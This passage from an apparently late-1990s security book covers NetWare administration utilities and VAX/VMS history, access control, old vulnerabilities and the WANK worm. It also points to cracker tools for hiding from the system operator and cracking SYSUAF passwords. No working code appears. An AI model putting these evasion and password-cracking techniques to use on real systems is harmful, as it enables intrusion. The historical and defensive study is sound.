other respects, \nNovell NetWare is a strong platform, primarily because of its advanced access controls. \nHowever, my earlier point is still relevant. NetWare has not yet run the gauntlet. As more \nNetWare servers are erected on the Net, we may see a shift. \nUtilities \nThe following sections describe a few utilities that are of some help in either securing \nyour server or managing your network. \nWSetPass 1.55 \nWSetPass 1.55 was designed by Nick Payne for system administrators to manage user \npasswords over multiple servers. It works for NetWare 2, 3, and 4.x passwords and runs \n" }, { "page_number": 375, "text": " \n \non Windows 3.1x, Windows 95, and Windows NT 4.0. It allows you to mix and match \nservers and sync the password update across all servers in the network. \n \nCross Reference: WSetPass 1.55 is available at \nhttp://ourworld.compuserve.com/homepages/nick_payne/wsetpass\n.zip. \n \nWnSyscon 0.95 \nWnSyscon 0.95 is SYSCON for Windows, really. It allows you to administer your Novell \nNetWare Server from a Windows platform. You can perform all the same basic \noperations that you would if you were at the file server console. The author of WnSyscon \n0.95 is unknown. \n \nCross Reference: WnSyscon 0.95 is available at \nftp://ftp.novell.com/pub/nwc-online/ utilities/wnscn095.zip. \n \nBindView EMS \nBindView EMS is a powerful network management and security tool. This tool can \neffectively analyze your network for security holes and identify problem areas, disk \nusage, user rights, and even user rights inheritance. You can also examine the state of \nobjects, including all attributes on files. This is a substantial package for network \nmanagement and it is a commercial product. \n \nCross Reference: BindView EMS is available at \nhttp://www.bindview.com:80/products/nosadmin3.html. \n \nSecureConsole \nSecureConsole is a security product from Australia that adds significant enhancements to \nyour security. It is designed to protect the file console and adds greater access control and \nsome deep auditing. \n \nCross Reference: SecureConsole is available at \nhttp://www.serversystems.com/secure.htm. \n \nGETEQUIV.EXE \nGETEQUIV.EXE is a security-related application that analyzes privilege equivalencies \nbetween users on the Net. (Wouldn't you be surprised to find that someone has supervisor \nequivalency?) It's a solid tool and one that quickly sums up security levels. \n \nCross Reference: GETEQUIV.EXE is available at \nhttp://mft.ucs.ed.ac.uk/novell/techsup/freedos.htm. \n \n" }, { "page_number": 376, "text": " \n \nSummary \nAlthough few people speak of Novell in the present tense, Novell has in fact made \ninnovations that are relevant to the Internet. Indeed, Novell is still in the running, and \nWeb servers and other Internet applications continue to be written for the Novell \nplatform. \nResources \nHere you will find resources related to Novell NetWare security. Some are books, some \nare articles, some are Web sites, and some are newsgroups. You will find that in the past \ntwo years, many more sources have cropped up. This is especially so now that NetWare \nsports its own Web server package, which has strong security. It stands in a similar light \nto the Webstar server, primarily because UNIX is where most of the security research has \nbeen done by crackers. \nPublications \nFollowing is a list of publications on NetWare security. You will notice that the majority \nare older. Newer treatments tend to focus on safely integrating NetWare networks into \nother systems. (As I mentioned, many legacy networks are now being migrated to the \nInternet, especially those with databases.) This is by no means an exhaustive list, but it \nwill certainly help the new system administrator get started. \nBooks \nNetWare Security. William Steen. New Riders Publishing. 1996. \nNovell's Guide to Integrating NetWare and TCP/IP. Drew Heywood. \nNovell Press/IDG Books Worldwide. 1996. \nNetWare Unleashed (Second Edition). Rick Sant'Angelo. Sams \nPublishing. 1995. \nA Guide to NetWare for UNIX. Cathy Gunn. Prentice Hall. 1995. \nNetWare LAN Management ToolKit. Rick Segal. Sams Publishing. \n1992. \nThe Complete Guide to NetWare 4.1. James E. Gaskin. Sybex \nPublications. 1995. \nBuilding Intranets on NT, NetWare, Solaris: An Administrator's \nGuide. Tom Rasmussen and Morgan Stern. Sybex. 1997. \nThe NetWare to Internet Connection. Morgan Stern. Sybex. 1996. \nNetWare to Internet Gateways. James E. Gaskin. Prentice Hall \nComputer Books. 1996. \n" }, { "page_number": 377, "text": " \n \nNovell's Guide to NetWare LAN Analysis. Dan E. Hakes and Laura \nChappell. Sybex. 1994. \nNovell's Four Principles of NDS. Jeff Hughes. IDG Books Worldwide. \n1996. \nNetWare Web Development. Peter Kuo. Sams Publishing. 1996. \nMagazines and Journals \nThe NetWare Connection. \no http://www.novell.com/nwc/ \nInside NetWare. \no http://www.cobb.com/inw/index.htm \nInstitute of Management and Administration. \no http://www.ioma.com/ioma/mlc/index.html \nUsenet Newsgroups \nThe following is a list of NetWare-related Usenet newsgroups: \n• \ncomp.os.netware.announce--NetWare announcements \n• \ncomp.os.netware.connectivity--Connectivity products \n• \ncomp.os.netware.misc--General NetWare topics \n• \ncomp.os.netware.security--NetWare security issues \n" }, { "page_number": 378, "text": " \n \n19 \nVAX/VMS \nIn this chapter we are going to take a stroll down memory lane. In order to make the trip \npleasurable for all readers, I thought I would make this a truly historical treatment. \nTherefore, we will start with the rise of Digital Equipment Corporation (DEC), the \ncompany that manufactured the once-popular product the VAX. \nIn one way or another, DEC has always been there at critical moments in computer \nhistory. (You may recall that Ken Thompson was first hacking UNIX on a DEC PDP-10.) \n \nCross Reference: To appreciate just how long DEC has been delivering computer \nproducts to the industry, take a moment to catch this link: \nhttp://www.cs.orst.edu/~crowl/history/. \n \nThis link will take you to Lawrence Crowl's wonderful computer history page, which \nshows photographs of machines that mark milestones in our computer culture (starting \nwith the very first computer ever constructed by Charles Babbage, circa 1823). The first \nDEC PDP-1 appears on that page. \n \nCross Reference: To get a full-screen view of that machine, catch this link: \nhttp://www.cs.orst.edu/~crowl/history/dec_pdp1_2.full.jpg. \n \nThe machine looked, quite frankly, like a prop in some terrible B movie from the 1950s--\nsomething you would expect to see in the laboratory of a mad scientist. Incredibly, there \nwas a time when such \"technology\" was the state of the art. Well, DEC moved on pretty \nquickly, to produce a wide range of products, including the very first minicomputer, the \nDEC PDP-8. \n \nCross Reference: You can see this machine on Crowl's page as well, located full size at \nhttp://www.cs.orst.edu/~crowl/history/dec_pdp8.full.jpg. \n \nIn 1978, DEC created the first VAX (virtual address extension), the Digital VAX 11/780. \nThis machine offered 32-bit architecture and 1MIPS performance. By standards of the \nday, the 11/780 was powerful and fast. (It was also backward compatible with the PDP \nline that preceded it.) The pricetag? A mere $200,000. \n \nNOTE: MIPS refers to million instructions per second. \n \nCuriously, the 11/780 became so popular that it would establish itself as the benchmark \nfor the MIPS index. In other words, it became the yardstick by which to measure \nperformance of all workstations that later followed. (This occurred despite the fact that \nthe IBM 370/158 was reportedly comparable in terms of speed and processing power. For \n" }, { "page_number": 379, "text": " \n \nreasons unknown to me, the IBM 370/158 never reached the popularity status of the \n11/870.) \nSo, to reiterate, the 11/870 was a $200,000 machine that could do roughly 1 million \ninstructions per second. Fantastic. Today, if you were to advertise this machine for sale \non the Internet, you would have to pay the buyer to haul it away. It is considered by \ntoday's standards either junk or, perhaps more charitably, a collector's item. However, \none thing made the 11/870 a special innovation and still singles it out from other \nmachines in computer history: The 11/870 could support two operating systems. One was \na system--UNIX--that was known reasonably well at the time. The other system was \nsomething a little different. It was called VMS. We will be examining VMS in just a \nmoment. First, however, I want to give you an idea of what the VAX was all about. \nThe VAX was a multiuser system. Many readers may not be old enough to remember the \nVAXstations, so I'll offer a little description. The MicroVAX stands nearly 3 feet tall. On \nthe right side of the machine is a panel that, when opened, reveals the cards. These cards \nare quite large, although not nearly as large as the panels of, say, a SPARCstation 4/330 \nVME deskside computer. (But certainly larger than most modern motherboards for \npersonal computers.) \nThe Terminal is a VT220, with a viewing screen of approximately 81/2 inches. At the \nback of the terminal are various connectors. These include a data lead connection, a \nprinter connection, and a serial port. The serial port could be set to an amazing 19200 \nbaud and terminal emulations available included VT220 and VT100. If you connect a \nmodem to the terminal, you have to set modem commands by hand. (In other words, you \nwould have to send raw modem commands from a blank screen that sports a blinking \ncursor. Typically, you would dial by issuing the command ATDT5551212, for example.) \nContained within the terminal is firmware. This is software hard-coded into the board \nitself. (PC users should think of firmware in exactly the same way as the CMOS. It is a \nsmall software module that performs a limited number of tasks, including setting the \nmachine's parameters.) Unfortunately, there is no facility by which to capture a figure of \nthe screen, so I must describe it. When the terminal boots, you are presented with a \ncopyright screen and then a blank screen with a blinking cursor. The terminal is then \nready to accept commands. To manipulate the settings in the firmware, you choose the F3 \n(function 3, or Setup) key. This brings up a menu at the bottom of the screen, where you \ncan review and change various settings. These include not only the way that \ncommunications are conducted, but also how the screen is laid out and behaves. For \nexample, you have a choice of either an amber background and black foreground or the \nreverse. You can specify a typewriter keyboard or Data mode, which is more commonly \nused when interfacing directly with the VAX. You can also manipulate the number of \ncharacters per line and lines per screen. (Additionally, the firmware has short help \nmessages embedded within it. These generally appear at the bottom of the screen, in the \nstatus area, as do the setting values for each facet of your environment. These may \nindicate which printer you are using, whether you want local echo, whether you want \ntype-ahead mode, and so forth.) No mouse, hard disk drive, floppy drive, or other \ncomponents are either present or required. \n" }, { "page_number": 380, "text": " \n \nYou have a wide range of choices regarding communication. For example, you can \nchange the bits (typically 7 or 8) and also the parity of these (none, odd, even). This \nmakes the VT220 terminal valuable not only to interface with VAXen (slang for VAX \nmachines), but also a wide variety of UNIX machines. For example, you can use a \nVT220 terminal as a \"head\" for a workstation that otherwise has no monitor. This can \ngenerally be done by plugging the terminal into the first serial port of the workstation. \n(For most versions of UNIX, you generally need to strip the eighth bit.) \n \nTIP: For Linux hackers: You can also \"add\" an Internet node to your box using such a \nterminal. To do so, you plug the terminal into either COM1 or COM2. You then edit \ninittab to respawn another instance of getty on that port. For this to work, you need \nto ensure that the cable used is a null modem cable. You also should set the emulation to \nVT100. When the Linux box reboots, a login prompt will appear on the VT220. From \nthere, log in as any valid user, and you are ready. This is significantly valuable, especially \nif you are trying to train someone in programming or navigation of the Net via a CLI \n(command-line interface). It is important to note that if you are using the same COM port \nthat normally supports your mouse, you need to kill gpm (general purpose mouse \nsupport). \n \nThese terminals, while intended for use with the VAX, can also be used as the most \ninexpensive method ever of accessing the Internet. Naturally, you need an old-style dial-\nup connection to do so (perhaps via Delphi), but there is no comparison in the price. Such \nterminals can now be purchased for $20. Add to this the price of a 19200 baud modem, \nand you are done. They are also great for connecting to local BBSs. \n \nTIP: An interesting point here: Such a terminal does not have environment variables per \nse and therefore reports none. All the environment variables are obtained from whatever \nshell you happen to acquire on the remote machine. \n \nThese terminals are used to connect to the VAX. (Note, too, that I have described only \nvery early implementations of VT terminals. Much later models supported various types \nof colors and graphics not available to the early VT100 and VT220 terminals. These \nnewer models are extremely functional but can run as high as several hundred dollars. \nGood examples are the VT330 and VT340.) \nFinally, you can connect to a VAX without such a terminal. Typically, this is done using \nPC software that supports VT100 terminal emulation. (Kermit is another popular and \ncompatible emulation.) \nVMS \nThe VMS (Virtual Memory System) operating system is unique, but bears similarities to \nseveral others. Logging in works much as it does on a UNIX system. You are presented \nwith a login prompt (Username:) and a password prompt. If you enter the correct \ninformation, you are dropped to a prompt represented by a dollar ($) sign. You are also \ngiven a series of values when you log in, including your username, your process ID, and \nso forth. \n" }, { "page_number": 381, "text": " \n \nSome common VMS commands are listed in Table 19.1. \nTable 19.1. Common VMS commands. \nCommand \nPurpose \nHELP [args] \nIf issued alone (without arguments), this command will bring up the prompt Topic?. \nThe HELP command is generally followed by whatever command you want to learn \nabout. \nCOPY [arg1 \narg2] \nWill copy an existing file or files to another file or directory. \nDIRECTORY \nWorks very much like the DOS command dir, giving the contents of a directory and \nthe attributes associated with the files therein. \nMAIL \nInvokes the e-mail program interface for VAX. This works (roughly) like standard mail \nin UNIX. When preparing to compose a message, you are prompted for recipient and \nsubject. \nLOOK \nThe VAX equivalent to the UNIX command ps, LOOK shows you your current \nprocesses. \n \nTIP: There is a nice table of command translations from VAX to UNIX. The table has \nbeen around for a while and basically offers UNIX users and others a brief reference. It is \nlocated at http://egret.ma.iup.edu/~whmf/vms_to_unix.html. You \nmight want to examine that table now, because I will refer to a few of those commands \nthroughout this chapter. \n \nVMS has many of the amenities of other operating systems. The commands may be just \nslightly different. For example, the C shell in UNIX has a facility that will recall \ncommands previously typed at the prompt. This facility is called history. (DOS has a \nsimilar command module, usually loaded at boot time, called DOSkey.) In VMS, you can \nrecall commands recently typed by holding down the Ctrl key and the letter B. There are \nother key combinations that will stop a process, list all processes, resume a process, \nreport current user statistics, and edit the current command line. \nThere are still many VAX servers on the Internet, and VMS is still very much alive. The \nnewest version is called OpenVMS. OpenVMS is available for both VAX and Alpha \nmachines. Alphas are extremely fast workstations (now at speeds exceeding 400Mhz) \nthat can run Windows NT, OpenVMS, or Digital UNIX. \n \nTIP: There is a complete online manual on OpenVMS. It is almost 1MB, but offers \ncomprehensive coverage of OpenVMS and its capabilities. That document is available at \nhttp://www.ethz.ch/ETH/ID/KS.html.docs/SW_Distr/OpenVMS_AXP_\nDistr/9506-OpenVMS_AXP_new_features.html. \n \nThe majority of VAX servers on the Net are older. Many are machines located at \nuniversity libraries. These provide users with facilities for searching electronic card \ncatalogs. In all likelihood, most older VAX machines are at least as secure as their UNIX \nworkstation counterparts. This is because much is known about the VAX/VMS system \nand its security. If there is a hole, it is because the system administrator missed it. \n" }, { "page_number": 382, "text": " \n \nSecurity in VMS \nSecurity in VMS is well supported. For example, there is a strong model for access \ncontrol. (Whether that access control is properly implemented by the system \nadministrator is another matter.) Access control on VMS is at least as comprehensive as \nthat on the Novell NetWare platform. Here are some of the values that can be controlled: \n• \nTime. You can control both the days of the week and the hours of the day at which a user can \naccess a given area of the system. (The default setting allows the user access at any time, 24 hours \na day, 7 days a week.) The time access feature works similarly to a firewall: \"That which is not \nexpressly permitted is denied.\" \n• \nMode. This is an interesting feature. You can specify the mode in which a user can connect and \ninteract with the system. Therefore, you can restrict remote network logins to certain times or \neliminate them completely. Because this can be done incisively by user, this feature makes remote \nsecurity much stronger than on many other platforms. You can hardly begin to crack if you are \nrestricted from even logging in. (Next, we'll discuss some utilities that also force callback \nverification on remote dial-up users.) \n• \nResources. You can control the resources available to the user at login. This is useful for setting \ndirectories beyond which the user may not be able to travel. \nThis is really just scratching the surface of the access control available in VMS. In fact, \nthere are multiple levels of privileges, and these can be applied to groups. Groups can be \nrestricted to certain resources, and so on. In other words, access control is a complex \nissue with VMS. There are many, many options. It is for this reason that crackers have a \nhalfway decent chance of finding a hole. Sometimes, complexity can be a security risk in \nitself. Crackers are well aware of this: \nThe greatest advantage of VMS is its flexibility. The system manager can choose to implement or \nignore a wide range of security features, fortunately for the [cracker], they all seem to ignore the \nimportant ones. It is possible to protect all, any or none of the files created. It is also possible to \nprovide general or restricted passwords, or no passwords at all. Access codes can be global or \nlimited. The use log can be ignored, used only for record keeping, or be employed as a security \ncontrol tool. \n \nCross Reference: The previous paragraph is excerpted from Lex Luthor's \"Advanced \nHacking VAX's VMS\" (Legion of Doom, June 1, 1985). It can be found online at \nhttp://www.mdc.net/~trent/hackvax.txt. \n \nThis document is one of the definitive texts on cracking the VMS system. It was authored \nby Lex Luthor (an alias, of course), who in 1984 established a bulletin board called the \nLegion of Doom. From this (and through other means) Luthor gathered together a loosely \nknit cracker group that went by the same name. Legion of Doom (or LoD, as they are \nmore commonly referred to) pulled off some of the most extraordinary cracks ever done. \nLoD published many electronic journals on the Internet that simplified the art of \ncracking, including the LoD Technical Journal. The federal government waged a \nfleetingly successful war against members of the group. Today, former LoD members are \na little piece of Internet folklore. \n \n" }, { "page_number": 383, "text": " \n \nCross Reference: Perhaps one of the best documents available on the Internet for \ninformation on how to secure a VMS box was written by neither a cracker nor a hacker: \nRob McMillan, \"A Practical Exercise in Securing an OpenVMS System,\" Prentice \nCentre, The University Of Queensland, \nhttp://nsi.org/Library/Compsec/openvms.txt. \n \nAttacking a VAX (or any VMS-based system) is quite different from attacking a UNIX \nsystem. First, the concept of the password file is different and so is its structure. UNIX \nsystems maintain /etc/passwd, which defines the username, password, login shell, and \ngroup. In contrast, the VMS system uses a file that defines many other variables, not \nsimply these values: \nEvery DEC running VMS holds the user profiles in a file called SYSUAF (System User \nAuthorization File). For every user on the system, including the System Manager, there is a record \nwhich tells the computer when and how a user can log onto the system. It also gives details of \npassword aging, password lengths and all the facilities that a user has when they are logged on. \n \nCross Reference: The previous paragraph is excerpted from \"The Five Minute Guide to \nVMS Security: Product Review PC-DEC-AUDIT\" (AudIT Magazine, 1994). It can be \nfound online at http://www.trillion.demon.co.uk/magrev.htm. \n \nNote that this \"comprehensive\" approach to the password file has its pitfalls. One is this: \nIf a cracker gains access to the file and cracks it (using the utilities described later in this \nchapter), the whole system is subject to breach, then and there. However, the likelihood \nof that happening is poor. \nThe user, by the way, is identified through the use of a user identification code (UIC). \nThis is very similar in ways to the GID in UNIX. It identifies the user and what groups \nthat user may belong to. As you might have guessed, the UIC comes from the centralized \ndatabase: \nWhen you log in to a system, the operating system copies your UIC from your user authorization \n(UAF) record in the system user authorization file (SYSUAF.DAT) and assigns it to your process. \nIt serves as an identification for the life of the process. \n \nCross Reference: The previous paragraph is excerpted from \"OpenVMS Guide to \nSystem Security: Contents of a User's Security Profile. 4.1.1.3 How Your Process \nAcquires a UIC,\" which can be found online at \nhttp://wawona.ethz.ch/OpenVMS_docu/ssb71/6346/6346p004.htm#h\neading_4.1.1. \n \nSome Old Holes \nFollowing is a discussion of some common holes. \nThe Mountd Hole \nIf two successive mount -d -s commands are sent within seconds of one another (and \nbefore another host has issued such a request), the request will be honored. This was \noriginally reported by CERT in March 1994 and applies to VAX machines running any \nvariant of Digital UNIX. \n" }, { "page_number": 384, "text": " \n \nThe Monitor Utility Hole \nIn VMS there is a utility called Monitor. The purpose of the program is to monitor classes \nof systemwide performance data (either from a process already running or from a \npreviously compiled monitor file). The hole was not a critical one, but did bear some \nconcern: \nUnauthorized privileges may be expanded to authorized users of a system under certain \nconditions, via the Monitor utility. Should a system be compromised through unauthorized access, \nthere is a risk of potential damage to a system environment. This problem will not permit \nunauthorized access entry, as individuals attempting to gain unauthorized access will continue to \nbe denied through the standard VMS security mechanisms. \n \nCross Reference: The previous paragraph is excerpted from a CERT advisory titled \n\"VMS Monitor Vulnerability.\" It can be found online at \nhttp://www.arc.com/database/Security_Bulletins/CERT/CA-\n92:16.VMS.Monitor.vulnerability. \n \nThis was a local problem and not a particularly critical one. For specific information on \nthat hole (and the fix), obtain the Defense Data Network Advisory concerning it. \n \nCross Reference: The Defense Data Network Advisory concerning this hole is located at \nDDN Security Bulletin 9223, ftp://nic.mil/scc/sec-9223.txt. \n \nHistorical Problems: The Wank Worm Incident \nSometime in September or October 1989, a worm was released that compromised \nmachines on DecNet. On infected machines, the program would print to the terminal a \nmessage relating that the machine had been \"Wanked.\" The message purported to come \nfrom Worms Against Nuclear Killers, or WANK. It was reported in the CERT advisory \nabout the Wank Worm: \nThis worm affects only DEC VMS systems and is propagated via DecNet protocols, not TCP/IP \nprotocols. If a VMS system had other network connections, the worm was not programmed to take \nadvantage of those connections. The worm is very similar to last year's HI.COM (or Father \nChristmas) worm. \n \nCross Reference: The previous paragraph is excerpted from a CERT advisory titled \n\"`WANK' Worm On SPAN Network.\" It can be found online at \nhttp://www.arc.com/database/Security_Bulletins/CERT/CA-\n89:04.decnet.wank.worm. \n \nIn that advisory, an analysis of the worm was provided by R. Kevin Oberman of the \nEngineering Department of Lawrence Livermore National Laboratory. Oberman's report \nwas apparently generated on-the-fly and in haste, but it was quite complete \nnotwithstanding. He reported that the worm was not incredibly complex but could be \ndangerous if it compromised a privileged account. The worm would enter a system, \ncheck to see if it was already infected, and if not, perform some or all of these \nprocedures: \n• \nDisable mail to certain accounts \n" }, { "page_number": 385, "text": " \n \n• \nChange system passwords, using a random-number generator, and in doing so, lock out the system \noperator \n• \nUse the instant system as a launching pad to attack new ones \nOberman included within his analysis a quickly hacked program that would halt the \nmarch of the Wank Worm. The source of that program can still be examined online in the \noriginal advisories. \n \nCross Reference: The main advisory, issued by CERT is located at \nhttp://www.arc.com/database/Security_Bulletins/CERT/CA-\n89:04.decnet.wank.worm. \n \nWhat's really interesting is the degree of seriousness in the tone of the advisory. Think \nabout it for a moment. It was just less than one year before that the Morris Worm incident \nsent a ripple through the Net. The mere mention of a worm during those months could \ncause a panic. Oddly, though, because of the curious name of this particular worm, some \nadministrators initially took the warnings for a joke. \nAlso, the Wank Worm was irrelevant to a large portion of the Internet. Since the worm \nonly affected those running DEC protocols (and not TCP/IP), only a limited number of \npotential victims existed. However, while that number was relatively small in proportion \nto the entire Internet, there were a great many sites using DecNet. \nAn interesting treatment of the event can be found in \"Approaching Zero: The \nExtraordinary Underworld of Hackers, Phreakers, Virus Writers, and Keyboard \nCriminals\": \nThe arrival of the worm coincided with reports of protesters in Florida attempting to disrupt the \nlaunch of a nuclear-powered shuttle payload. It is assumed that the worm was also a protest \nagainst the launch. The WANK Worm spread itself at a more leisurely rate than the Internet \nWorm, sending out fewer alarms and creating less hysteria....A method for combating the worm \nwas developed by Bernard Perrot of the Institut de Physique Nucleaire at Orsay, France. Perrot's \nscheme was to create a booby-trapped file of the type that the worm could be expected to attack. If \nthe worm tried to use information from the file, it would itself come under attack and be blown up \nand killed. \n \nCross Reference: The previous excerpt is from an article by Paul Mungo and Bryan \nGlough titled \"Approaching Zero: The Extraordinary Underworld of Hackers, Phreakers, \nVirus Writers, and Keyboard Criminals.\" It can be found online at \nhttp://www.feist.com/~tqdb/h/aprozero.txt. \n \nAudits and Monitoring \nAuditing capabilities in the VMS environment are advanced. There are different ways to \nimplement auditing and this is basically a matter of the system operator's taste. However, \nby default, VMS will log all logins, failures to log in, changes in system privileges, and \nso forth. The default configuration provides a minimum of logging. \n" }, { "page_number": 386, "text": " \n \nThat minimum, however, can be quickly surpassed if need be. The system operator can \napply special access controls on individual files and directories, a user account, or \nprocesses. When undesirable or suspicious activity occurs in relation to these access \ncontrol policies, an alarm is generated. The system operator defines what form the alarm \nwill take. (For example, it is common for system operators to redirect alarm information \nto a specific console so that such messages visibly appear and can be quickly perused at \nany time.) Of course, severe paranoia in this type of environment can add up to \nsacrificing a fair amount of disk space. For example, a system operator can even have the \nsystem generate alarms on a mere attempt to access a file for which the user has no \nprivileges. \nAn example would be where a user attempted to view (or list) a file for which he had no \nprivileges. It would be the equivalent of issuing an alarm for each time a shell user on a \nUNIX system tried accessing a root-owned file or directory. One interesting thing about \nthis is that the alarm can be generated in response to a violation of policies set against the \nuser, as opposed to global restrictions placed on the file. I am not sure which model is \nactually more secure, but I would guess it would be the VMS model. \nThe logging capabilities of VMS are quite granular. You can monitor almost anything \nfrom users accessing a file to them starting a protocol-based process. (You can even log \nusers attempting to change the time.) In addition to this native monitoring, there are \nseveral utilities (some of which I mention later in the chapter) that can trap terminal \nsessions and monitor them for inactivity and perhaps other undesirable behavior. \nVarious utilities make it easier to crack the VMS platform or, having cracked it, to avoid \ndetection. As with any other system, these utilities are sometimes of significant advantage \nto both the root operator and the cracker. \nwatchdog.com \nwatchdog.com was written by a hacker with the handle Bagpuss. The purpose of \nwatchdog.com is simple: It keeps tabs on users logging in and out of the machine. It is an \nearly warning system that can alert you to when the system operator (or other similarly \nprivileged user) logs on. \n \nCross Reference: The source code and full explanation of watchdog.com are located at \nhttp://www.wordserf.co.uk/mh/vaxhackpro.html. \n \nStealth \nStealth was also written by Bagpuss. The purpose of this utility is to evade detection in \nthe event that someone (the system operator, perhaps) issues the SHOW USER command. \nThis command is much like combining the W, WHO, and PS commands in UNIX. It \nidentifies the users currently logged to the machine and their status. Stealth prevents the \nuser from being visible on such a query. \n \nCross Reference: The source code for Stealth is at \nhttp://www.wordserf.co.uk/mh/vaxhackpro.html. \n" }, { "page_number": 387, "text": " \n \n \nGUESS_PASSWORD \nGUESS_PASSWORD is designed to crack the password file of the VMS system. The \nprogram works quite well, but you have to wonder about its actual value. These days, it is \nunlikely that a system administrator would unprotect the SYSUAF.DAT file (where the \npasswords are actually located). However, if a cracker could find such an unprotected \npassword file, this utility would assist in cracking it. \n \nCross Reference: GUESS_PASSWORD (with source) is available at \nhttp://www.uniud.it/ftp/vms/uaf.zip. \n \nWATCHER \nWATCHER is a snooping utility, most commonly used by system administrators. Its \npurpose is to watch terminal sessions. From a security point of view, WATCHER is a \ngood resource. It will monitor how long a terminal has been idle. The system \nadministrator (or the user) can set the time period after which idle sessions can be \nautomatically killed. (Idle terminal sessions are in themselves a security risk. Crackers \nwatch accounts that remain idle for long periods of time. These accounts are deemed \ngood targets.) \n \nCross Reference: WATCHER is available at \nftp://ftp.wku.edu/madgoat/WATCHER.zip. \n \nCheckpass \nCheckpass is a tool that examines the relative strength or weakness of a given password \nin the SYSUAF.DAT file. It's good for versions 5.4 and onward. \n \nCross Reference: Checkpass is available at \nftp://www.decus.org/pub/lib/vs0127/checkpass/check.zip. \n \nCrypt \nAs you might guess, Crypt is a DES encryption module for the VMS operating system. \nInterestingly, it also provides support for UNIX and DOS. It was developed (along with \nthe previous utility) by M. Edward Nieland, who wrote these tools primarily in C and \nFORTRAN. \n \nCross Reference: The CRYPT utility is located at \nftp://www.decus.org/pub/lib/vs0127/crypt/crypt.zip. \n \nDIAL \n" }, { "page_number": 388, "text": " \n \nA secure dialback module, DIAL is designed to prevent unauthorized remote users from \ngaining access to your system. As explained in the DIAL user's guide: \nOnly pre-authorized users and their work location telephone numbers can gain access to the \nsystem through DIAL. Once access is granted the user is disconnected from the incoming call and \ndialed back at the authorized telephone number. This provides the user with free access to his \naccounts over public telephone lines. \nThe system works through the maintenance of a file that lists all valid users and their \ntelephone numbers. (Read: This could be one method of circumventing this security. \nReach that file and you reach DIAL.) It was written in C by Roger Talkov at Emulex. \n \nCross Reference: DIAL is available at \nftp://www.decus.org/pub/lib/v00149/dial.zip. \n \nCALLBACK.EXE \nWritten by Robert Eden of Texas Utilities, CALLBACK.EXE performs essentially the \nsame functions as DIAL. It was written in FORTRAN. \n \nCross Reference: CALLBACK.EXE is available at \nhttp://www.openvms.digital.com/cd/CALLBACK/CALLBACK.EXE. \n \nTCPFILTER (G. Gerard) \nTCPFILTER is a utility that restricts outgoing connects. As described in the \ndocumentation, the utility does the following: \n...allows the filtering of outgoing UCX TCP/IP calls. Each attempt to open an outgoing call is \nverified with a table of addresses, and is allowed or forbidden. The validation of the call can be \ndone with two different mechanisms: with ACL, or with image names. The use of ACL allows \ncontrolling each user by the means of an identifier. \n \nCross Reference: The previous paragraph is excerpted from a file titled \nTCPFILTER.DOC ENGLISH by G. Gerard. It can be found online at \nhttp://www.openvms.digital.com/cd/TCPFILTER/. \n \nI should point out that the term calls means outgoing TCP/IP connect requests. That is, \nyou can restrict connect requests to specific IP addresses, based on user information in \nthe Access Control List. A pretty nifty utility. For example, you could restrict any access \nto outside hacker or cracker boards. Hmm. \n \nCross Reference: TCPFILTER is located at \nhttp://www.openvms.digital.com/cd/TCPFILTER/TCP.COM. \n \nChanging Times \nThe VAX/VMS combination was once a very popular one. And, as I have already \nrelated, OpenVMS is alive and well. However, changes in the computer industry and in \npublic demand have altered the Internet's climate with regard to VMS. When coupled \n" }, { "page_number": 389, "text": " \n \nwith Digital's commitment to Microsoft to provide a suitable architecture on which to run \nWindows NT, these changes contributed to a decrease in the use of VMS. This is curious \nbecause today the source code is available. As I have explained elsewhere in this book, \nwhenever the source of an operating system is available, the security community has an \nopportunity to fine-tune it. \nBecause Digital Alpha stations now run both Microsoft Windows NT and Digital UNIX, \nVMS is likely to take a backseat. This is especially so with regard to Digital UNIX \nbecause it is a 64-bit system. Imagine for a moment a 64-bit system running at 400MHz. \nIn my opinion, this configuration is the most powerful currently available to the average \nuser. Such a machine (loaded with at least 64MB of RAM) is vastly superior in my \nopinion to either the Pentium or the MMX. So the days of the old VAX/VMS are \nprobably over. \nToday's cracker probably knows little about these systems. More concentration has been \nallotted to UNIX and as of late, Windows NT. If I were going to contract someone to \ncrack a VAX, I would look for someone in his mid-30s or older. Certainly, the advent of \nthe PC has contributed to the lack of VMS security knowledge. Young people today work \nmostly with PC- or Mac-based machines. It is therefore rare to come in contact with a \nVAX anymore, except as library servers or other database machines. \nA close friend of mine has a MicroVAX II in his garage. Each time I visit his home, we \ntalk about the prospect of cranking up that old machine. One day soon, we'll probably do \njust that. \nAt day's end, VMS is an interesting, durable, and relatively secure platform. Moreover, \nDEC was always exceptionally close-mouthed about the security weaknesses of \nVAX/VMS. If you retrieve all the known advisories on VAX/VMS, you will see that \nDEC routinely declined to include information that could potentially be used by crackers. \n(Most often, DEC would advise that VAX users contact their local DEC representative.) \nThis was a smart move and one that has made it traditionally difficult to crack VAX \nservers. If the system administrator of a VAX has been on his toes, after a cracker has \ntried all the default passwords, there is nothing left to do but turn to social engineering. \nSummary \nThe VAX/VMS system is an antiquated one at this stage of the game. However, it is not \nout of the race yet. OpenVMS has much to offer. If you are considering a career in \nInternet security, you should at least take some brief courses in VMS. Or, if you are like \nme and prefer the more direct approach, buy a used VAX and set yourself to the task of \ncracking it. These can be acquired for practically nothing today in \nmisc.forsale.computers.workstation. Many sellers even have the original \ninstallation media. \nIn closing, it is my opinion that the security of the VAX is advanced and even somewhat \nelegant. Moreover, in many parts of the world, the VAX is still popular. Time studying \nVAX security is probably time well spent. \n" }, { "page_number": 390, "text": " \n \nResources \nVAX Security: Protecting the System and the Data. Sandler and Badgett. John Wiley \n& Sons. ISBN 0-471-51507-8. \nA Retrospective on the VAX VMM Security Kernel. Paul A. Karger, Mary E. Zurko, \nDouglas W. Bonin, Andrew H. Mason, and Clifford E. Kahn. IEEE Transactions on \nSoftware Engineering, 17(11):1147-1163, November 1991. \nDatabase Security. S. Castano, M. G. Fugini, G. Martella, and P. Samarati. Addison-\nWesley Publishing Company. 1995. (Good chapter on VAX/VMS.) \nSecurity Guidance for VAX/VMS Systems. Debra L. Banning. Sparta, Inc. 14th \nNational Computer Security Conference, Washington, DC, October, 1991. \nA Practical Exercise in Securing an OpenVMS System. Rob McMillan, Prentice \nCentre, The University Of Queensland. \n• \nhttp://nsi.org/Library/Compsec/openvms.txt \nHow VMS Keeps Out Intruders. Tanya Candia. Computers & Security, 9(6):499-502, \nOctober 1990. \nESNET/DECNET Security Policy Procedures and Guidelines. D. T. Caruso and C. E. \nBemis, Jr., ESnet/DecNet Security Revised Draft, December 1989. \n• 